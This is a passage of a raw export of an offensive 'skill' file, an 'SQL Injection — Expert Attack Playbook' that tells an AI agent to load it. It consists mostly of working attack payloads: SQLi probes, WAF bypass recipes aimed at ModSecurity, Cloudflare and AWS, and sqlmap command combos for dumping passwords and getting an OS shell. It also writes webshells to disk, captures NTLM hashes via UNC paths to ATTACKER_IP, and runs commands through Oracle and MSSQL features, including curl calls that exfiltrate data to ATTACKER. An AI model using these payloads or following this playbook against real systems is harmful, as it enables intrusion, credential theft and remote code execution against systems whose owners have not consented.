{ name } }\"}' \\\n --content-type=\"application/json\" \\\n --technique=BEUST \\\n --tamper=space2comment\n\n# Via saved request file (recommended for complex queries):\nsqlmap -r graphql_request.txt -p \"id\" --dbms=postgresql\n```\n\n---\n\n## 4. DB-SPECIFIC ADVANCED FUNCTIONS\n\n### 4.1 PostgreSQL — Dollar-Sign Quoting\n\nBypass quote filters entirely using `$` delimiters:\n\n```sql\n-- Standard quoting (blocked by WAF):\nSELECT 'admin'\n\n-- Dollar-sign quoting (same result, no single quotes):\nSELECT $admin$\n\n-- Tagged dollar quoting:\nSELECT $tag$admin$tag$\n\n-- In injection context:\n' UNION SELECT $test$,version()--\n\n-- Dynamic SQL execution without quotes:\nSELECT $ALTER USER postgres PASSWORD 'newpass'$::text;\n```\n\n**PostgreSQL COPY command for file I/O**:\n\n```sql\n-- Read file:\nCREATE TEMP TABLE tmp(content text);\nCOPY tmp FROM $/etc/passwd$;\nSELECT * FROM tmp;\n\n-- Write file (webshell):\nCOPY (SELECT $\u003c?php system($_GET['c']); ?>$) TO $/var/www/html/shell.php$;\n```\n\n**PostgreSQL large object for binary I/O**:\n\n```sql\nSELECT lo_import($/etc/passwd$, 1337);\nSELECT lo_get(1337);\n```\n\n**PL/pgSQL command execution** (if CREATE LANGUAGE available):\n\n```sql\nCREATE OR REPLACE FUNCTION cmd(text) RETURNS text AS $\nBEGIN\n RETURN (SELECT cmd_output FROM sys_exec($1));\nEND;\n$ LANGUAGE plpgsql;\n```\n\n### 4.2 MSSQL — Linked Servers\n\nLinked servers allow pivoting through SQL Server trust relationships:\n\n```sql\n-- Enumerate linked servers:\nSELECT * FROM master..sysservers;\nEXEC sp_linkedservers;\n\n-- Query a linked server:\nSELECT * FROM OPENQUERY(LINKED_SRV, 'SELECT @@version');\n\n-- Execute on linked server:\nEXEC ('xp_cmdshell ''whoami''') AT [LINKED_SRV];\n\n-- Nested (double-hop) through two linked servers:\nEXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [LINKED_SRV_2]') AT [LINKED_SRV_1];\n```\n\n**MSSQL credential harvesting**:\n\n```sql\n-- Capture NTLM hash via UNC path:\nEXEC master..xp_dirtree '\\\\ATTACKER_IP\\share';\n\n-- xp_subdirs alternative:\nEXEC master..xp_subdirs '\\\\ATTACKER_IP\\share';\n\n-- Run Responder/Inveigh on attacker to capture NTLMv2 hash\n```\n\n**MSSQL CLR assembly for full .NET execution**:\n\n```sql\n-- Requires sysadmin or ALTER ASSEMBLY permission\nCREATE ASSEMBLY malicious FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;\nCREATE PROCEDURE [dbo].[cmd_exec] @cmd NVARCHAR(4000) AS EXTERNAL NAME [malicious].[StoredProcedures].[cmd_exec];\nEXEC cmd_exec 'whoami';\n```\n\n**MSSQL Agent Jobs** (alternate command execution path):\n\n```sql\nUSE msdb;\nEXEC dbo.sp_add_job @job_name = 'pwn';\nEXEC sp_add_jobstep @job_name='pwn', @step_name='run',\n @subsystem='CmdExec', @command='whoami > C:\\out.txt';\nEXEC sp_add_jobserver @job_name='pwn';\nEXEC sp_start_job @job_name='pwn';\n```\n\n### 4.3 Oracle — DBMS_PIPE and Advanced Packages\n\n```sql\n-- Time-based blind via DBMS_PIPE.RECEIVE_MESSAGE:\n' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a', 5)--\n-- Waits 5 seconds; works where SLEEP() doesn't exist\n\n-- DBMS_LOCK.SLEEP (if DBMS_PIPE is blocked):\n' AND 1=DBMS_LOCK.SLEEP(5)--\n\n-- Heavy query time-based (no special priv):\n' AND 1=(SELECT COUNT(*) FROM all_objects a, all_objects b)--\n```\n\n**Oracle DBMS_SCHEDULER for OS commands**:\n\n```sql\nBEGIN\n DBMS_SCHEDULER.CREATE_JOB(\n job_name => 'pwn',\n job_type => 'EXECUTABLE',\n job_action => '/bin/bash',\n number_of_arguments => 2,\n enabled => FALSE\n );\n DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('pwn', 1, '-c');\n DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('pwn', 2, 'curl http://ATTACKER/$(whoami)');\n DBMS_SCHEDULER.ENABLE('pwn');\nEND;\n```\n\n**Oracle XXE via XMLTYPE** (out-of-band exfiltration):\n\n```sql\nSELECT XMLTYPE('\u003c!DOCTYPE foo [\u003c!ENTITY xxe SYSTEM \"http://ATTACKER/'||(SELECT user FROM dual)||'\">]>\u003cfoo>&xxe;\u003c/foo>') FROM dual;\n```\n\n**Oracle DBMS_JAVA for OS command via Java**:\n\n```sql\nSELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c \"curl http://ATTACKER/$(id)\"') FROM dual;\n```\n\n### 4.4 MySQL — Advanced Tricks\n\n```sql\n-- Handler command (bypass SELECT keyword filters):\nHANDLER users OPEN;\nHANDLER users READ FIRST;\nHANDLER users CLOSE;\n\n-- Prepared statement via hex (bypass keyword filters):\nSET @q=0x53454C454354202A2046524F4D207573657273; -- SELECT * FROM users\nPREPARE stmt FROM @q;\nEXECUTE stmt;\n\n-- mysql.innodb_table_stats (bypass information_schema filters):\nSELECT database_name, table_name FROM mysql.innodb_table_stats;\n\n-- sys schema (MySQL 5.7+, bypass information_schema filters):\nSELECT table_name FROM sys.schema_table_statistics WHERE table_schema=database();\nSELECT table_name FROM sys.x$schema_table_statistics;\n\n-- Dumpfile (binary-safe single-row write):\nSELECT 0x3C3F706870... INTO DUMPFILE '/var/www/html/shell.php';\n```\n\n### 4.5 SQLite — Advanced Techniques\n\n```sql\n-- Attach database to write webshell:\nATTACH DATABASE '/var/www/html/shell.php' AS pwn;\nCREATE TABLE pwn.cmd (txt text);\nINSERT INTO pwn.cmd VALUES ('\u003c?php system($_GET[\"c\"]); ?>');\n\n-- Read arbitrary file (load_extension if enabled):\n-- Requires: SQLITE_ENABLE_LOAD_EXTENSION\nSELECT load_extension('/path/to/malicious.so');\n\n-- GLOB-based blind (alternative to LIKE):\nSELECT * FROM users WHERE password GLOB 'a*';\n```\n\n---\n\n## 5. WAF BYPASS — ADVANCED TAMPER CHAIN PATTERNS\n\n### 5.1 ModSecurity CRS v3 Bypass Recipes\n\n```sql\n-- Paranoia Level 1 (default):\n/*!50000SELECT*/ /*!50000username*/ /*!50000FROM*/ /*!50000users*/\n\n-- Paranoia Level 2:\n%53%45%4C%45%43%54/**/username/**/FROM/**/users\n\n-- Combine tampers:\n-- sqlmap --tamper=modsecurityversioned,space2comment,randomcase,between\n```\n\n### 5.2 Cloudflare Bypass Patterns\n\n```sql\n-- Inline comment with version:\n/*!50000UniOn*/ /*!50000SeLeCt*/ 1,2,3\n\n-- Newline injection:\n%0aSELECT%0a*%0aFROM%0ausers\n\n-- Tabulation:\n%09UNION%09SELECT%09*%09FROM%09users\n```\n\n### 5.3 AWS WAF Bypass\n\n```sql\n-- JSON-based SQLi (if Content-Type: application/json):\n{\"id\": \"1 AND 1=1\"}\n\n-- Chunked transfer encoding can split payloads across chunks\n-- Some WAFs don't reassemble before inspection\n```\n\n### 5.4 Multi-Layer Encoding\n\n```sql\n-- Double URL encode (proxy decodes once, app decodes again):\n%2527 → %27 → '\n\n-- Unicode normalization attacks:\nʼ (U+02BC) → ' in some normalizers\n＇(U+FF07) → ' in some normalizers\n\n-- Mixed encoding:\n%53ELECT → SELECT (partial encoding)\n```\n\n---\n\n## 6. CHEAT SHEET — SQLMAP COMMAND COMBOS\n\n```bash\n# Full auto with WAF evasion, blind detection, and OS shell:\nsqlmap -u \"$URL\" -p \"id\" --dbms=mysql --level=5 --risk=3 \\\n --tamper=space2comment,between,randomcase \\\n --technique=BEUST --threads=8 --os-shell\n\n# POST JSON API with custom headers:\nsqlmap -u \"$URL\" --data='{\"user_id\":\"1*\"}' \\\n --content-type=\"application/json\" \\\n -H \"Authorization: Bearer TOKEN\" \\\n --tamper=charencode --technique=BT\n\n# Cookie-based injection:\nsqlmap -u \"$URL\" --cookie=\"id=1*\" --level=2 --risk=2\n\n# Second-order:\nsqlmap -r register.txt --second-url=\"https://target.com/profile\"\n\n# Read password hashes:\nsqlmap -u \"$URL\" -p \"id\" --passwords --threads=8\n\n# Dump specific table:\nsqlmap -u \"$URL\" -D dbname -T users -C username,password --dump\n\n# Enumerate privileges:\nsqlmap -u \"$URL\" --privileges --roles\n```\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":17939,"content_sha256":"9e37dc1a05528fdfd8070cbde8e17f79f701fa6d702c731ae5a2d305ded50da3"}],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"SKILL: SQL Injection — Expert Attack Playbook","type":"text"}]},{"type":"blockquote","content":[{"type":"paragraph","content":[{"text":"AI LOAD INSTRUCTION","type":"text","marks":[{"type":"strong"}]},{"text":": Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion ","type":"text"},{"text":"SCENARIOS.md","type":"text","marks":[{"type":"link","attrs":{"href":"./SCENARIOS.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"0. RELATED ROUTING","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ghost-bits-cast-attack","type":"text","marks":[{"type":"link","attrs":{"href":"../ghost-bits-cast-attack/SKILL.md","title":null}}]},{"text":" when the backend is ","type":"text"},{"text":"Java with Jackson","type":"text","marks":[{"type":"strong"}]},{"text":" and your SQL keywords are WAF-blocked — Jackson's ","type":"text"},{"text":"charToHex","type":"text","marks":[{"type":"code_inline"}]},{"text":" table is indexed by ","type":"text"},{"text":"ch & 0xFF","type":"text","marks":[{"type":"code_inline"}]},{"text":", so a Unicode character like ","type":"text"},{"text":"丰","type":"text","marks":[{"type":"code_inline"}]},{"text":" (U+4E30) resolves to hex digit ","type":"text"},{"text":"0","type":"text","marks":[{"type":"code_inline"}]},{"text":" inside a ","type":"text"},{"text":"\\uXXXX","type":"text","marks":[{"type":"code_inline"}]},{"text":" escape sequence, letting you smuggle ","type":"text"},{"text":"UNION","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"SELECT","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"1","type":"text","marks":[{"type":"code_inline"}]},{"text":", etc. without the WAF ever seeing them","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"1. QUICK START","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Extended Scenarios","type":"text"}]},{"type":"paragraph","content":[{"text":"Also load ","type":"text"},{"text":"SCENARIOS.md","type":"text","marks":[{"type":"link","attrs":{"href":"./SCENARIOS.md","title":null}}]},{"text":" when you need:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SMB out-of-band exfiltration via ","type":"text"},{"text":"LOAD_FILE","type":"text","marks":[{"type":"code_inline"}]},{"text":" + UNC paths (Windows MySQL)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"KEY injection / URI injection / non-parameter injection points","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"INSERT/DELETE/UPDATE statement injection differences","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ThinkPHP5 array key injection (","type":"text"},{"text":"updatexml","type":"text","marks":[{"type":"code_inline"}]},{"text":" error-based)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Django GIS Oracle ","type":"text"},{"text":"utl_inaddr.get_host_name","type":"text","marks":[{"type":"code_inline"}]},{"text":" CVE","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ORDER BY / LIMIT injection techniques","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Advanced Reference","type":"text"}]},{"type":"paragraph","content":[{"text":"Also load ","type":"text"},{"text":"SQLMAP_ADVANCED.md","type":"text","marks":[{"type":"link","attrs":{"href":"./SQLMAP_ADVANCED.md","title":null}}]},{"text":" when you need:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SQLMap tamper scripts matrix and WAF bypass tamper chain recipes (space2comment, between, charencode, etc.)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--technique","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"--risk","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"--level","type":"text","marks":[{"type":"code_inline"}]},{"text":" combinations and ","type":"text"},{"text":"--second-url","type":"text","marks":[{"type":"code_inline"}]},{"text":" for second-order injection","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--os-shell","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"--os-pwn","type":"text","marks":[{"type":"code_inline"}]},{"text":" OS-level exploitation via SQLMap","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"INSERT/UPDATE/DELETE injection patterns with data exfiltration examples","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"GraphQL + SQL injection (batched queries, nested field injection, mutation injection)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"DB-specific advanced functions: PostgreSQL dollar-sign quoting, MSSQL linked servers, Oracle DBMS_PIPE/DBMS_SCHEDULER","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"If you have only confirmed a suspicious SQL sink, do not load extra payload skills first; complete first-pass validation here.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"First-pass payload families","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Situation","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Start With","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Why","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Login or boolean branch","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"' or 1=1--","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Fast signal on auth or conditional checks","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Numeric parameter","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"1 or 1=1","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Avoid quote dependency","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"ORDER BY / sorting","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"1,2,3","type":"text","marks":[{"type":"code_inline"}]},{"text":" then ","type":"text"},{"text":"1 desc--","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Good for structural probing","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Visible SQL errors","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"'","type":"text","marks":[{"type":"code_inline"}]},{"text":" then DBMS-specific error probes","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Error text gives DBMS clues","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"No visible output","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"time-based payloads","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Stable fallback for blind targets","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Heavy filtering / WAF","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"polyglot or whitespace-free variants","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Expands parser confusion surface","type":"text"}]}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Small, stable first-pass set","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"text"},"content":[{"text":"'\n' or 1=1--\n' or '1'='1'--\n1 or 1=1\n') or ('1'='1\n'; WAITFOR DELAY '0:0:5'--\n' AND SLEEP(5)--\n'||(SELECT pg_sleep(5))--\n1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)\n' order by 1--\n' union select null--","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"DBMS routing hints","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Clue","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Likely DBMS","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Good Next Move","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"You have an error in your SQL syntax","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"MySQL","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"try ","type":"text"},{"text":"SLEEP()","type":"text","marks":[{"type":"code_inline"}]},{"text":" and ","type":"text"},{"text":"@@version","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Microsoft OLE DB Provider","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"MSSQL","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"try ","type":"text"},{"text":"WAITFOR DELAY","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PG::","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"PostgreSQL","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PostgreSQL","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"try ","type":"text"},{"text":"pg_sleep()","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"ORA-","type":"text","marks":[{"type":"code_inline"}]},{"text":" prefix","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Oracle","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"pivot to out-of-band or XML features","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"SQLite errors, local apps","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"SQLite","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"focus on boolean/UNION and file-backed behavior","type":"text"}]}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"1. DETECTION — SUBTLE INDICATORS","type":"text"}]},{"type":"paragraph","content":[{"text":"Most SQLi is found by ","type":"text"},{"text":"behavioral differences","type":"text","marks":[{"type":"strong"}]},{"text":", not errors:","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Signal","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Meaning","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Page loads differently with ","type":"text"},{"text":"'","type":"text","marks":[{"type":"code_inline"}]},{"text":" vs ","type":"text"},{"text":"''","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"String context injection point","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Numeric: ","type":"text"},{"text":"1","type":"text","marks":[{"type":"code_inline"}]},{"text":" vs ","type":"text"},{"text":"1-1","type":"text","marks":[{"type":"code_inline"}]},{"text":" vs ","type":"text"},{"text":"2-1","type":"text","marks":[{"type":"code_inline"}]},{"text":" returns same","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Arithmetic evaluated","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"1=1","type":"text","marks":[{"type":"code_inline"}]},{"text":" vs ","type":"text"},{"text":"1=2","type":"text","marks":[{"type":"code_inline"}]},{"text":" in condition changes result","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Boolean-based injection","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"SELECT with ORDER BY N: column count enumeration","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"UNION prep","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Time delay: ","type":"text"},{"text":"'; WAITFOR DELAY '0:0:5'--","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Blind/time-based","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"500 error on ","type":"text"},{"text":"'","type":"text","marks":[{"type":"code_inline"}]},{"text":", 200 on ","type":"text"},{"text":"''","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Unhandled exception = SQLi","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Different HTTP response size","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Boolean blind indicator","type":"text"}]}]}]}]},{"type":"paragraph","content":[{"text":"Critical","type":"text","marks":[{"type":"strong"}]},{"text":": test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values).","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"2. DATABASE FINGERPRINTING","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"-- MySQL\nVERSION() -- returns version string\n@@datadir -- data directory\n@@global.secure_file_priv -- file read restriction\n\n-- MSSQL\n@@VERSION -- includes \"Microsoft SQL Server\"\nDB_NAME() -- current database\nUSER_NAME() -- current user\n\n-- Oracle\nv$version -- SELECT banner FROM v$version WHERE ROWNUM=1\nsys.database_name -- current db (alternative)\nuser -- current Oracle user\n\n-- PostgreSQL\nversion() -- returns version\ncurrent_database() -- current db\ncurrent_user -- current user","type":"text"}]},{"type":"paragraph","content":[{"text":"Error-based fingerprint","type":"text","marks":[{"type":"strong"}]},{"text":": inject ","type":"text"},{"text":"'","type":"text","marks":[{"type":"code_inline"}]},{"text":" and read error message format. MySQL errors differ from Oracle/MSSQL.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"3. UNION-BASED DATA EXTRACTION","type":"text"}]},{"type":"paragraph","content":[{"text":"Column count determination","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"ORDER BY 1--\nORDER BY 2--\nORDER BY N-- ← until error = N-1 columns","type":"text"}]},{"type":"paragraph","content":[{"text":"Column type detection","type":"text","marks":[{"type":"strong"}]},{"text":" (NULL is safest):","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"UNION SELECT NULL,NULL,NULL--\nUNION SELECT 'a',NULL,NULL-- ← find string column","type":"text"}]},{"type":"paragraph","content":[{"text":"Database-specific string concat","type":"text","marks":[{"type":"strong"}]},{"text":" (required when column accepts only int):","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"-- MySQL\nCONCAT(username,0x3a,password)\n\n-- MSSQL\nusername+'|'+password\n\n-- Oracle\nusername||'|'||password\n\n-- PostgreSQL\nusername||':'||password","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"4. BLIND INJECTION — INFERENCE TECHNIQUES","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Boolean Blind (conditional response difference)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"-- Does first char of username = 'a'?\n' AND SUBSTRING(username,1,1)='a'--\n' AND ASCII(SUBSTRING(username,1,1))>96--\n\n-- Oracle\n' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--\n\n-- MSSQL\n' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Time-Based Blind (no response difference)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"-- MSSQL (most reliable)\n'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--\n\n-- MySQL\n' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--\n\n-- Oracle\n' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--\n-- Oracle sleep alternative (no SLEEP):\n' AND 